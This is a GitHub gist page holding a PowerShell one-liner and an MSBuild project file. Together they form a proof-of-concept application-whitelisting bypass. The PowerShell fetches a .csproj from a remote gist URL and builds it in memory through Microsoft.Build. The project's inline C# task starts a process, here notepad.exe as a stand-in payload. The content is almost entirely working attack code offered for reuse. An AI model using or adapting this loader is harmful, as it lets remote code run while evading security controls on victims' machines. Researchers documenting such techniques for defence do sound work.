Created
June 22, 2018 08:17
-
-
Save lesnuages/eff12460b97d532ea2f9ae28726b95e7 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[Reflection.Assembly]::LoadWithPartialName('Microsoft.Build'); | |
$proj = [System.Xml.XmlReader]::create("https://gist.githubusercontent.com/bohops/a29a69cf127ffb0e37622d25b9f79157/raw/35fa4c5a0d2db037220f224b5c4c269ea243b3bd/test.csproj"); | |
$e=new-object Microsoft.Build.Evaluation.Project($proj); | |
$e.Build(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | |
<Target Name="Hello"> | |
<FragmentExample /> | |
<ClassExample /> | |
</Target> | |
<UsingTask | |
TaskName="FragmentExample" | |
TaskFactory="CodeTaskFactory" | |
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > | |
<ParameterGroup/> | |
<Task> | |
<Using Namespace="System" /> | |
<Code Type="Fragment" Language="cs"> | |
<![CDATA[ | |
]]> | |
</Code> | |
</Task> | |
</UsingTask> | |
<UsingTask | |
TaskName="ClassExample" | |
TaskFactory="CodeTaskFactory" | |
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > | |
<Task> | |
<!-- <Reference Include="System.IO" /> Example Include --> | |
<Code Type="Class" Language="cs"> | |
<![CDATA[ | |
using System; | |
using System.Diagnostics; | |
using Microsoft.Build.Framework; | |
using Microsoft.Build.Utilities; | |
public class ClassExample : Task, ITask | |
{ | |
public override bool Execute() | |
{ | |
System.Diagnostics.Process proc = new System.Diagnostics.Process(); | |
proc.StartInfo.FileName = "c:\\windows\\system32\\notepad.exe"; | |
proc.Start(); | |
return true; | |
} | |
} | |
]]> | |
</Code> | |
</Task> | |
</UsingTask> | |
</Project> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment